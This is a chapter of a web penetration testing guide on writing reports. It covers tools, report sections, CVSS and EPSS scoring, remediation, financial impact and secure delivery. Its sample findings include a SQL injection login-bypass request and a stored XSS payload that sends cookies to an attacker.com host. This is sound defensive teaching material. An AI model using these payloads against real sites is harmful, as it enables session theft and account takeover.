Reporting

The report is the primary deliverable of a penetration test. A well-written report communicates findings clearly to both technical teams and executive stakeholders.

📋 Why Reporting Matters

Client Value: The report is what clients pay for - it drives remediation and justifies the engagement
Professional Reputation: Quality reports lead to repeat business and referrals
Actionable Results: Clear findings and remediation steps enable clients to fix vulnerabilities
Compliance Evidence: Reports provide audit trail for regulatory requirements

💡 Pro Tip: A mediocre test with an excellent report is more valuable than an excellent test with a poor report - if findings aren't communicated clearly, they won't get fixed.

🛠️ Reporting Tools

Dradis

Open-source collaboration framework for pentest reporting.

gem install dradis dradisframework.com →

Ghostwriter

Report management for red team engagements.

docker-compose up -d GitHub →

PlexTrac

Enterprise pentest reporting and workflow platform.

# Commercial platform plextrac.com →

Serpico

Penetration testing report generation.

docker pull serpicoproject/serpico GitHub →

PwnDoc

Pentest reporting web application.

docker-compose up -d GitHub →

CVSS Calculators

Calculate and document vulnerability severity scores (v3.1 & v4.0).

# Web-based calculators FIRST.org v4.0 → FIRST.org v3.1 →

Report Structure

Report Sections

flowchart TD A[Penetration Test Report] --> B[Executive Summary] A --> C[Methodology] A --> D[Findings] A --> E[Remediation] A --> F[Appendices] B --> B1[Risk Overview] B --> B2[Key Findings] B --> B3[Recommendations] D --> D1[Critical] D --> D2[High] D --> D3[Medium] D --> D4[Low] D --> D5[Informational] style A fill:#111,stroke:#00ff00,color:#00ff00

1. Executive Summary

A non-technical overview for management and executives. Should be understandable without security expertise.

text
EXECUTIVE SUMMARY

Engagement Overview
-------------------
[Company Name] engaged [Tester/Firm] to conduct a web application 
penetration test of [Application Name] from [Start Date] to [End Date].

Scope
-----
The assessment covered:
- Primary web application: https://app.example.com
- API endpoints: https://api.example.com
- Authentication systems
- [Other scope items]

Key Findings
------------
The assessment identified [X] vulnerabilities:
- Critical: [X]
- High: [X]  
- Medium: [X]
- Low: [X]
- Informational: [X]

Notable findings include:
1. [Critical Finding 1] - Risk of [impact]
2. [High Finding 2] - Risk of [impact]
3. [High Finding 3] - Risk of [impact]

Overall Risk Rating: [HIGH/MEDIUM/LOW]

Recommendations
---------------
Immediate actions required:
1. [Action 1]
2. [Action 2]
3. [Action 3]

Conclusion
----------
[Brief statement on overall security posture and urgency of remediation]
EXECUTIVE SUMMARY

Engagement Overview
-------------------
[Company Name] engaged [Tester/Firm] to conduct a web application 
penetration test of [Application Name] from [Start Date] to [End Date].

Scope
-----
The assessment covered:
- Primary web application: https://app.example.com
- API endpoints: https://api.example.com
- Authentication systems
- [Other scope items]

Key Findings
------------
The assessment identified [X] vulnerabilities:
- Critical: [X]
- High: [X]  
- Medium: [X]
- Low: [X]
- Informational: [X]

Notable findings include:
1. [Critical Finding 1] - Risk of [impact]
2. [High Finding 2] - Risk of [impact]
3. [High Finding 3] - Risk of [impact]

Overall Risk Rating: [HIGH/MEDIUM/LOW]

Recommendations
---------------
Immediate actions required:
1. [Action 1]
2. [Action 2]
3. [Action 3]

Conclusion
----------
[Brief statement on overall security posture and urgency of remediation]

2. Methodology

text
METHODOLOGY

Testing Approach
----------------
This assessment was conducted as a [black-box/gray-box/white-box] 
penetration test, following industry-standard methodologies including:
- OWASP Testing Guide v4.2
- PTES (Penetration Testing Execution Standard)
- NIST SP 800-115

Phases
------
1. Reconnaissance
   - Passive information gathering
   - DNS enumeration
   - Technology fingerprinting

2. Scanning
   - Port scanning
   - Service enumeration
   - Vulnerability scanning

3. Exploitation
   - Manual vulnerability verification
   - Proof-of-concept development
   - Impact assessment

4. Post-Exploitation
   - Privilege escalation attempts
   - Data access verification
   - Lateral movement assessment

Tools Used
----------
- Burp Suite Professional
- Nmap
- SQLMap
- Nuclei
- [Other tools]

Limitations
-----------
- Testing was conducted during business hours only
- Denial of Service testing was excluded
- [Other limitations]
METHODOLOGY

Testing Approach
----------------
This assessment was conducted as a [black-box/gray-box/white-box] 
penetration test, following industry-standard methodologies including:
- OWASP Testing Guide v4.2
- PTES (Penetration Testing Execution Standard)
- NIST SP 800-115

Phases
------
1. Reconnaissance
   - Passive information gathering
   - DNS enumeration
   - Technology fingerprinting

2. Scanning
   - Port scanning
   - Service enumeration
   - Vulnerability scanning

3. Exploitation
   - Manual vulnerability verification
   - Proof-of-concept development
   - Impact assessment

4. Post-Exploitation
   - Privilege escalation attempts
   - Data access verification
   - Lateral movement assessment

Tools Used
----------
- Burp Suite Professional
- Nmap
- SQLMap
- Nuclei
- [Other tools]

Limitations
-----------
- Testing was conducted during business hours only
- Denial of Service testing was excluded
- [Other limitations]

3. Detailed Findings

Each finding should follow a consistent format:

text
FINDING: SQL Injection in Login Form
=====================================

Severity: CRITICAL
CVSS Score: 9.8 (Critical)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Component
------------------
URL: https://app.example.com/login
Parameter: username
Method: POST

Description
-----------
A SQL injection vulnerability was identified in the login form's 
username parameter. An attacker can inject arbitrary SQL commands 
to bypass authentication, extract database contents, or potentially 
execute system commands.

Technical Details
-----------------
The following payload was used to confirm the vulnerability:

Request:
POST /login HTTP/1.1
Host: app.example.com
Content-Type: application/x-www-form-urlencoded

username=admin'--&password=anything

Response:
HTTP/1.1 302 Found
Location: /dashboard
Set-Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ==

The application accepted the malicious input without sanitization,
resulting in successful authentication bypass.

Impact
------
- Complete authentication bypass
- Full database access (demonstrated extraction of user credentials)
- Potential server-side command execution
- Complete compromise of application and user data

Evidence
--------
[Screenshot: admin_dashboard_access.png]
[Request/Response: sqli_poc.txt]

Remediation
-----------
1. Implement parameterized queries (prepared statements)
2. Use an ORM with built-in SQL injection protection
3. Apply input validation and sanitization
4. Implement Web Application Firewall rules

Code Example (Before/After):

VULNERABLE:
$query = "SELECT * FROM users WHERE username = '" + username + "'";

SECURE:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);

References
----------
- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
- CWE-89: https://cwe.mitre.org/data/definitions/89.html
FINDING: SQL Injection in Login Form
=====================================

Severity: CRITICAL
CVSS Score: 9.8 (Critical)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Component
------------------
URL: https://app.example.com/login
Parameter: username
Method: POST

Description
-----------
A SQL injection vulnerability was identified in the login form's 
username parameter. An attacker can inject arbitrary SQL commands 
to bypass authentication, extract database contents, or potentially 
execute system commands.

Technical Details
-----------------
The following payload was used to confirm the vulnerability:

Request:
POST /login HTTP/1.1
Host: app.example.com
Content-Type: application/x-www-form-urlencoded

username=admin'--&password=anything

Response:
HTTP/1.1 302 Found
Location: /dashboard
Set-Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ==

The application accepted the malicious input without sanitization,
resulting in successful authentication bypass.

Impact
------
- Complete authentication bypass
- Full database access (demonstrated extraction of user credentials)
- Potential server-side command execution
- Complete compromise of application and user data

Evidence
--------
[Screenshot: admin_dashboard_access.png]
[Request/Response: sqli_poc.txt]

Remediation
-----------
1. Implement parameterized queries (prepared statements)
2. Use an ORM with built-in SQL injection protection
3. Apply input validation and sanitization
4. Implement Web Application Firewall rules

Code Example (Before/After):

VULNERABLE:
$query = "SELECT * FROM users WHERE username = '" + username + "'";

SECURE:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);

References
----------
- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
- CWE-89: https://cwe.mitre.org/data/definitions/89.html

CVSS Scoring

The Common Vulnerability Scoring System (CVSS) provides a standardized way to rate vulnerability severity.

Score Range Severity Description
9.0 - 10.0 Critical Immediate exploitation likely, severe impact
7.0 - 8.9 High Easy to exploit, significant impact
4.0 - 6.9 Medium Moderate difficulty or impact
0.1 - 3.9 Low Difficult to exploit or minimal impact
0.0 Informational Best practice recommendations

CVSS v3.1 Vector Components

Base Metrics

  • AV (Attack Vector): Network/Adjacent/Local/Physical
  • AC (Attack Complexity): Low/High
  • PR (Privileges Required): None/Low/High
  • UI (User Interaction): None/Required
  • S (Scope): Unchanged/Changed
  • C (Confidentiality): None/Low/High
  • I (Integrity): None/Low/High
  • A (Availability): None/Low/High

Common CVSS Scores

  • Unauthenticated RCE: 9.8
  • SQL Injection: 8.6 - 9.8
  • Stored XSS: 6.1 - 8.0
  • CSRF: 4.3 - 8.0
  • Reflected XSS: 6.1
  • Missing Security Headers: 0.0 - 3.0

CVSS Calculators

CVSS 4.0 — What Changed

CVSS 4.0 (released November 2023) replaces vendor/consumer terminology with clearer metric groups and removes the "Scope" metric that caused inconsistent scoring.

Key Differences from v3.1

  • Scope removed — replaced by explicit Subsequent System impact metrics (VC/VI/VA vs SC/SI/SA)
  • Attack Requirements (AT) — replaces some of what AC covered; captures race conditions, specific configs
  • New metric groups: Supplemental (Safety, Automatable, Recovery, Value Density, Provider Urgency)
  • Finer granularity — Environmental and Threat metrics are refined for contextual scoring
  • Naming: "Base" → "Base", but "Temporal" → "Threat", "Environmental" stays

When to Use Which Version

  • CVSS 3.1 — still widely expected by most clients; use as primary unless told otherwise
  • CVSS 4.0 — offer alongside 3.1 for forward-looking clients; preferred when contractual requirements specify v4
  • Dual scoring — for Critical/High findings, provide both vectors to future-proof reports

Example Dual Score

Stored XSS in Admin Panel
CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N8.0 High
CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N7.4 High

EPSS — Exploit Prediction Scoring System

EPSS is a data-driven model (maintained by FIRST.org) that estimates the probability a CVE will be exploited in the wild within the next 30 days. Using EPSS alongside CVSS helps prioritize remediation by real-world exploit likelihood, not just theoretical severity.

Metric CVSS EPSS
Measures Intrinsic severity of a vulnerability Probability of exploitation in the wild
Range 0.0 — 10.0 0.0 — 1.0 (probability) + percentile
Updates Fixed once published Recalculated daily with threat-intel feeds
Best for Communicating severity to stakeholders Prioritizing remediation order

Using EPSS in Reports

For findings linked to known CVEs, include the EPSS score and percentile to give clients a data-backed remediation priority. Query the API at api.first.org/data/v1/epss or use the dashboard at epss.cyentia.com.

Remediation Guidance

text
REMEDIATION PRIORITIES

Immediate (24-48 hours)
-----------------------
[ ] Finding #1: SQL Injection in Login - Implement prepared statements
[ ] Finding #2: Exposed Admin Panel - Restrict access by IP/VPN

Short-term (1-2 weeks)
----------------------
[ ] Finding #3: XSS in Search - Implement output encoding
[ ] Finding #4: Missing CSRF Tokens - Add tokens to all forms
[ ] Finding #5: Weak Password Policy - Enforce complexity requirements

Medium-term (1-3 months)
------------------------
[ ] Finding #6: Outdated Libraries - Update all dependencies
[ ] Finding #7: Missing Security Headers - Configure CSP, HSTS
[ ] Finding #8: Verbose Error Messages - Implement generic errors

Long-term (3-6 months)
----------------------
[ ] Implement WAF
[ ] Security code review process
[ ] Developer security training
[ ] Regular penetration testing schedule
REMEDIATION PRIORITIES

Immediate (24-48 hours)
-----------------------
[ ] Finding #1: SQL Injection in Login - Implement prepared statements
[ ] Finding #2: Exposed Admin Panel - Restrict access by IP/VPN

Short-term (1-2 weeks)
----------------------
[ ] Finding #3: XSS in Search - Implement output encoding
[ ] Finding #4: Missing CSRF Tokens - Add tokens to all forms
[ ] Finding #5: Weak Password Policy - Enforce complexity requirements

Medium-term (1-3 months)
------------------------
[ ] Finding #6: Outdated Libraries - Update all dependencies
[ ] Finding #7: Missing Security Headers - Configure CSP, HSTS
[ ] Finding #8: Verbose Error Messages - Implement generic errors

Long-term (3-6 months)
----------------------
[ ] Implement WAF
[ ] Security code review process
[ ] Developer security training
[ ] Regular penetration testing schedule

Common Remediation Recommendations

Vulnerability Primary Remediation Defense in Depth
SQL Injection Parameterized queries WAF, input validation, least privilege DB
XSS Output encoding CSP headers, input validation
CSRF Anti-CSRF tokens SameSite cookies, referer validation
Auth Bypass Proper access controls MFA, session management, audit logging
File Upload Whitelist file types Separate domain, virus scanning, no execution
SSRF Input validation Network segmentation, egress filtering

Appendices

What to Include

Appendix A: Raw Data

  • • Nmap scan results
  • • Vulnerability scanner output
  • • Tool configuration files

Appendix B: Evidence

  • • Screenshots (numbered)
  • • HTTP requests/responses
  • • Proof-of-concept code

Appendix C: References

  • • OWASP resources
  • • CVE references
  • • CWE identifiers

Appendix D: Glossary

  • • Technical terms defined
  • • Acronyms explained
  • • CVSS methodology

Report Delivery

text
REPORT DELIVERY CHECKLIST

Before Delivery
---------------
[ ] Spell check and grammar review
[ ] Technical accuracy verification
[ ] Screenshot quality check
[ ] CVSS scores validated
[ ] Sensitive data redacted appropriately
[ ] PDF generated with restricted permissions

Secure Transmission
-------------------
[ ] Encrypt report (GPG/PGP or password-protected PDF)
[ ] Use secure file transfer (encrypted portal, SFTP)
[ ] Send password via separate channel
[ ] Confirm recipient authorized to receive

After Delivery
--------------
[ ] Schedule findings walkthrough meeting
[ ] Offer Q&A session with technical team
[ ] Discuss remediation priorities
[ ] Set retest date if applicable
[ ] Archive engagement files securely
REPORT DELIVERY CHECKLIST

Before Delivery
---------------
[ ] Spell check and grammar review
[ ] Technical accuracy verification
[ ] Screenshot quality check
[ ] CVSS scores validated
[ ] Sensitive data redacted appropriately
[ ] PDF generated with restricted permissions

Secure Transmission
-------------------
[ ] Encrypt report (GPG/PGP or password-protected PDF)
[ ] Use secure file transfer (encrypted portal, SFTP)
[ ] Send password via separate channel
[ ] Confirm recipient authorized to receive

After Delivery
--------------
[ ] Schedule findings walkthrough meeting
[ ] Offer Q&A session with technical team
[ ] Discuss remediation priorities
[ ] Set retest date if applicable
[ ] Archive engagement files securely

Sample Finding Write-ups

text
FINDING: Stored Cross-Site Scripting in User Comments
=====================================================

Severity: HIGH
CVSS Score: 8.0
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Affected Component
------------------
URL: https://app.example.com/posts/[id]/comments
Parameter: comment_body (POST)

Description
-----------
User-submitted comments are stored in the database and rendered 
without proper output encoding, allowing attackers to inject 
malicious JavaScript that executes in other users' browsers.

Technical Details
-----------------
Payload submitted:
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

When another user views the page containing this comment, the 
script executes and sends their session cookie to the attacker.

Impact
------
- Session hijacking of any user viewing the malicious comment
- Account takeover
- Malware distribution
- Defacement

Evidence
--------
[Screenshot: xss_payload_stored.png]
[Screenshot: cookie_received_attacker_server.png]

Remediation
-----------
1. Implement output encoding for all user-generated content
2. Use Content Security Policy (CSP) headers
3. Set HttpOnly flag on session cookies
4. Consider using a HTML sanitization library

Example Fix:
// Instead of:
element.innerHTML = userComment;

// Use:
element.textContent = userComment;
// Or with HTML allowed:
element.innerHTML = DOMPurify.sanitize(userComment);
FINDING: Stored Cross-Site Scripting in User Comments
=====================================================

Severity: HIGH
CVSS Score: 8.0
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Affected Component
------------------
URL: https://app.example.com/posts/[id]/comments
Parameter: comment_body (POST)

Description
-----------
User-submitted comments are stored in the database and rendered 
without proper output encoding, allowing attackers to inject 
malicious JavaScript that executes in other users' browsers.

Technical Details
-----------------
Payload submitted:
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

When another user views the page containing this comment, the 
script executes and sends their session cookie to the attacker.

Impact
------
- Session hijacking of any user viewing the malicious comment
- Account takeover
- Malware distribution
- Defacement

Evidence
--------
[Screenshot: xss_payload_stored.png]
[Screenshot: cookie_received_attacker_server.png]

Remediation
-----------
1. Implement output encoding for all user-generated content
2. Use Content Security Policy (CSP) headers
3. Set HttpOnly flag on session cookies
4. Consider using a HTML sanitization library

Example Fix:
// Instead of:
element.innerHTML = userComment;

// Use:
element.textContent = userComment;
// Or with HTML allowed:
element.innerHTML = DOMPurify.sanitize(userComment);

Report Quality

A penetration test report should be understandable by both technical staff who will fix the issues and executives who will approve the budget. Balance technical detail with clear business impact statements.

📖 Report Templates & Resources

👥 Audience-Specific Report Templates

Different stakeholders need different levels of detail. Produce separate deliverables for each audience:

📊 CxO Executive Summary

  • • 1-2 pages maximum
  • • Business risk language, not technical
  • • Financial impact estimates
  • • Risk heat map (visual)
  • • Top 3-5 findings only
  • • Compliance implications
  • • Strategic recommendations
  • • Trend comparison (if repeat engagement)

🔧 Developer Technical Report

  • • Full vulnerability details
  • • Exact reproduction steps
  • • Vulnerable code snippets
  • • Secure code fix examples
  • • Library-specific remediation
  • • CWE/CVE references
  • • Automated testing integration
  • • Regression test suggestions

🛡️ Security Operations Report

  • • Detection signatures (YARA/Sigma)
  • • IOCs from testing
  • • WAF/IDS rule recommendations
  • • Monitoring gaps identified
  • • Log analysis findings
  • • Alert tuning suggestions
  • • Incident response playbook updates
  • • Attack path diagrams

💰 Financial Impact Estimation

Information

Executives need dollar figures, not just CVSS scores. Quantifying potential financial impact dramatically increases the likelihood that findings get remediated.
text
FINANCIAL IMPACT ESTIMATION FRAMEWORK
=====================================

1. DATA BREACH COST (per IBM Cost of a Data Breach Report 2024)
   Average cost per record: $165 (varies by industry)
   Healthcare: $408/record | Financial: $309/record | Tech: $174/record
   
   Example: SQL injection exposing 50,000 user records
   Estimated cost: 50,000 × $165 = $8,250,000
   + Notification costs: ~$200,000
   + Legal/regulatory fines: varies (see regulatory section)
   + Brand damage: 2-5% revenue impact for 12-18 months

2. DOWNTIME/AVAILABILITY IMPACT
   Average cost of IT downtime: $5,600/minute (Gartner)
   
   Example: RCE vulnerability enabling ransomware
   24-hour outage = $5,600 × 1,440 = $8,064,000
   + Recovery costs: $500K-$5M (depending on backup maturity)

3. REGULATORY PENALTIES
   GDPR: Up to €20M or 4% of annual global revenue
   PCI-DSS: $5,000-$100,000/month until compliant
   HIPAA: $100-$50,000 per violation (max $1.5M/year/category)
   SOX: Personal liability for executives; up to $5M fine
   
4. CALCULATION TEMPLATE
   Annualized Loss Expectancy (ALE) = Single Loss Expectancy × Annual Rate of Occurrence
   SLE = Asset Value × Exposure Factor
   
   Example: Critical auth bypass
   Asset value: $10M (customer database)
   Exposure factor: 80% (full data exposure)
   SLE = $10M × 0.8 = $8M
   ARO = 0.3 (30% chance of exploitation per year)
   ALE = $8M × 0.3 = $2.4M/year
FINANCIAL IMPACT ESTIMATION FRAMEWORK
=====================================

1. DATA BREACH COST (per IBM Cost of a Data Breach Report 2024)
   Average cost per record: $165 (varies by industry)
   Healthcare: $408/record | Financial: $309/record | Tech: $174/record
   
   Example: SQL injection exposing 50,000 user records
   Estimated cost: 50,000 × $165 = $8,250,000
   + Notification costs: ~$200,000
   + Legal/regulatory fines: varies (see regulatory section)
   + Brand damage: 2-5% revenue impact for 12-18 months

2. DOWNTIME/AVAILABILITY IMPACT
   Average cost of IT downtime: $5,600/minute (Gartner)
   
   Example: RCE vulnerability enabling ransomware
   24-hour outage = $5,600 × 1,440 = $8,064,000
   + Recovery costs: $500K-$5M (depending on backup maturity)

3. REGULATORY PENALTIES
   GDPR: Up to €20M or 4% of annual global revenue
   PCI-DSS: $5,000-$100,000/month until compliant
   HIPAA: $100-$50,000 per violation (max $1.5M/year/category)
   SOX: Personal liability for executives; up to $5M fine
   
4. CALCULATION TEMPLATE
   Annualized Loss Expectancy (ALE) = Single Loss Expectancy × Annual Rate of Occurrence
   SLE = Asset Value × Exposure Factor
   
   Example: Critical auth bypass
   Asset value: $10M (customer database)
   Exposure factor: 80% (full data exposure)
   SLE = $10M × 0.8 = $8M
   ARO = 0.3 (30% chance of exploitation per year)
   ALE = $8M × 0.3 = $2.4M/year

⚖️ Regulatory Context Mapping

Map findings to specific regulatory requirements to add urgency and compliance context:

Finding Type PCI-DSS 4.0 HIPAA SOC 2 GDPR
SQL InjectionReq 6.2.4§164.312(a)CC6.1Art. 32(1)
XSSReq 6.2.4§164.312(a)CC6.1Art. 32(1)
Weak Auth/MFAReq 8.4, 8.5§164.312(d)CC6.1, CC6.2Art. 32(1)(b)
Weak EncryptionReq 4.2§164.312(e)CC6.7Art. 32(1)(a)
Missing LoggingReq 10.2, 10.3§164.312(b)CC7.2Art. 33, 34
Broken Access ControlReq 7.2§164.312(a)(1)CC6.3Art. 25, 32
Vulnerable ComponentsReq 6.3§164.308(a)(1)CC7.1Art. 32(1)(d)

🔗 Finding Chain Documentation

Individual medium-severity findings can chain into critical impact scenarios. Document these attack chains clearly:

text
ATTACK CHAIN DOCUMENTATION TEMPLATE
====================================

Chain Title: Account Takeover via XSS + CSRF
Combined Severity: CRITICAL (individual findings: Medium + Medium = Critical chain)

Step 1: Stored XSS in User Profile (Medium - CVSS 6.1)
  → Attacker injects JavaScript payload in "About Me" field
  
Step 2: CSRF on Password Change (Medium - CVSS 6.5)
  → Password change endpoint lacks anti-CSRF token
  
Chain: XSS payload triggers CSRF password change for any user 
       who views the attacker's profile
  → Combined impact: Full account takeover of any user (Critical)

CHAIN IMPACT ASSESSMENT:
- Likelihood: HIGH (both vulns easily exploitable, no interaction beyond page view)
- Impact: CRITICAL (mass account takeover, PII exposure)
- Combined CVSS: 9.6 (vs individual 6.1 + 6.5)

ANOTHER EXAMPLE:
Information Disclosure + SSRF = Internal Network Compromise
  Step 1: Debug endpoint leaks internal IP ranges (Info - CVSS 5.3)
  Step 2: SSRF via PDF generation (High - CVSS 7.5)
  Chain: Use leaked IPs to target internal services via SSRF
  → Combined: Access to internal admin panels, databases (Critical - CVSS 9.8)
ATTACK CHAIN DOCUMENTATION TEMPLATE
====================================

Chain Title: Account Takeover via XSS + CSRF
Combined Severity: CRITICAL (individual findings: Medium + Medium = Critical chain)

Step 1: Stored XSS in User Profile (Medium - CVSS 6.1)
  → Attacker injects JavaScript payload in "About Me" field
  
Step 2: CSRF on Password Change (Medium - CVSS 6.5)
  → Password change endpoint lacks anti-CSRF token
  
Chain: XSS payload triggers CSRF password change for any user 
       who views the attacker's profile
  → Combined impact: Full account takeover of any user (Critical)

CHAIN IMPACT ASSESSMENT:
- Likelihood: HIGH (both vulns easily exploitable, no interaction beyond page view)
- Impact: CRITICAL (mass account takeover, PII exposure)
- Combined CVSS: 9.6 (vs individual 6.1 + 6.5)

ANOTHER EXAMPLE:
Information Disclosure + SSRF = Internal Network Compromise
  Step 1: Debug endpoint leaks internal IP ranges (Info - CVSS 5.3)
  Step 2: SSRF via PDF generation (High - CVSS 7.5)
  Chain: Use leaked IPs to target internal services via SSRF
  → Combined: Access to internal admin panels, databases (Critical - CVSS 9.8)

📸 Evidence Quality Standards

✅ Good Evidence

  • • Full HTTP request/response in Burp (no truncation)
  • • Timestamps on all screenshots
  • • Browser URL bar visible in screenshots
  • • Proof of impact (not just detection)
  • • Unique identifiers for test accounts used
  • • curl commands that reproduce the issue
  • • Video recording for complex multi-step chains
  • • Sensitive data redacted (PII, real passwords)

❌ Bad Evidence

  • • Scanner output with no manual verification
  • • Cropped screenshots missing context
  • • "Trust me" descriptions without proof
  • • Attacker IP/hostname visible in screenshots
  • • Un-redacted production PII/credentials
  • • Blurry or low-resolution screenshots
  • • Evidence from wrong environment (staging vs prod)
  • • Outdated evidence from earlier testing phase

Warning

Evidence Redaction Rules: Always redact real customer PII (SSNs, credit cards, health data). Replace real passwords with placeholders. Remove your testing infrastructure details (VPS IPs, C2 domains). Keep enough context to prove the vulnerability without exposing sensitive data.

🔒 Report Delivery Security

Classification & Handling

  • • Mark reports CONFIDENTIAL on every page
  • • Include "For authorized recipients only" header
  • • Add distribution list in cover page
  • • Specify retention period (typically 1-3 years)
  • • Define destruction procedure after retention

Secure Transmission

  • • Encrypt PDFs with AES-256 (password shared out-of-band)
  • • Use PGP/GPG for email delivery
  • • Prefer secure file-sharing platforms (not plain email)
  • • Never send via unencrypted channels
  • • Confirm receipt with authorized contact
bash
# Encrypt report PDF with GPG
gpg --output report-encrypted.pdf.gpg --encrypt --recipient client@company.com report.pdf

# Password-protect PDF with qpdf
qpdf --encrypt "STRONG_PASSWORD" "OWNER_PASSWORD" 256 -- report.pdf report-encrypted.pdf

# Generate SHA-256 hash for integrity verification
sha256sum report-encrypted.pdf > report-encrypted.pdf.sha256
# Send hash via separate channel so client can verify integrity
# Encrypt report PDF with GPG
gpg --output report-encrypted.pdf.gpg --encrypt --recipient client@company.com report.pdf

# Password-protect PDF with qpdf
qpdf --encrypt "STRONG_PASSWORD" "OWNER_PASSWORD" 256 -- report.pdf report-encrypted.pdf

# Generate SHA-256 hash for integrity verification
sha256sum report-encrypted.pdf > report-encrypted.pdf.sha256
# Send hash via separate channel so client can verify integrity

🎉 Web Pentest Guide Complete!

You've completed the comprehensive Web Penetration Testing guide. Consider exploring the Internal Penetration Testing guide or check out the Tool Cheatsheets for quick reference materials.